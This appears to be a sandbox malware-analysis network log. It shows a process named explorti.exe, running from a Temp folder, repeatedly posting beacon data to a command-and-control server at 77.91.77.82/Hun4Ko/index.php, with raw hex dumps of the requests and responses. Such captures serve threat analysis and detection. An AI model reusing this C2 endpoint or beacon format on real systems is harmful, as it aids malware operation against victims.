Jul 4, 2024 20:34:27.935832977 CEST	1236	IN	Data Raw: 4d 00 89 1d ac 23 4d 00 89 1d b0 23 4d 00 89 1d b4 23 4d 00 c7 05 b8 23 4d 00 44 c9 49 00 89 1d bc 23 4d 00 89 1d c0 23 4d 00 89 1d c4 23 4d 00 a3 c8 23 4d 00 89 1d cc 23 4d 00 89 1d d0 23 4d 00 89 1d d4 23 4d 00 89 1d dc 23 4d 00 c7 05 e0 23 4d Data Ascii: M#M#M#M#MDI#M#M#M#M#M#M#M#M#M<I#M#M#M#MfNtL$(>T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:29.806236982 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000007001&unit=246122658369
Jul 4, 2024 20:34:30.500760078 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:31.122237921 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:31.813657045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:31.814865112 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:32.035615921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49755	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:32.172714949 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:32.910507917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:32.913868904 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:33.150862932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49757	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:33.306586027 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:34.002341032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:34.005615950 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:34.224271059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49759	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:34.335237980 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:35.043503046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:35.044230938 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:35.270104885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49763	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:35.745703936 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:36.456151009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:36.457001925 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:36.679980993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49768	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:36.788471937 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:37.514996052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:37.515922070 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:37.743818045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49769	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:37.873209000 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:38.601939917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:38.602725029 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:38.825891018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49776	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:38.948489904 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:39.670068979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:39.670912981 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:39.893400908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49780	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:40.022517920 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:40.742486954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:40.743392944 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:40.969643116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49787	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:41.098903894 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:41.826204062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:41.827625036 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:42.057667017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49791	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:42.185750961 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:42.911802053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:42.912549973 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:43.139830112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49793	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:43.258701086 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 20:34:43.956547976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 20:34:43.957506895 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 20:34:44.175415039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49796	77.91.77.82	80	7360	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
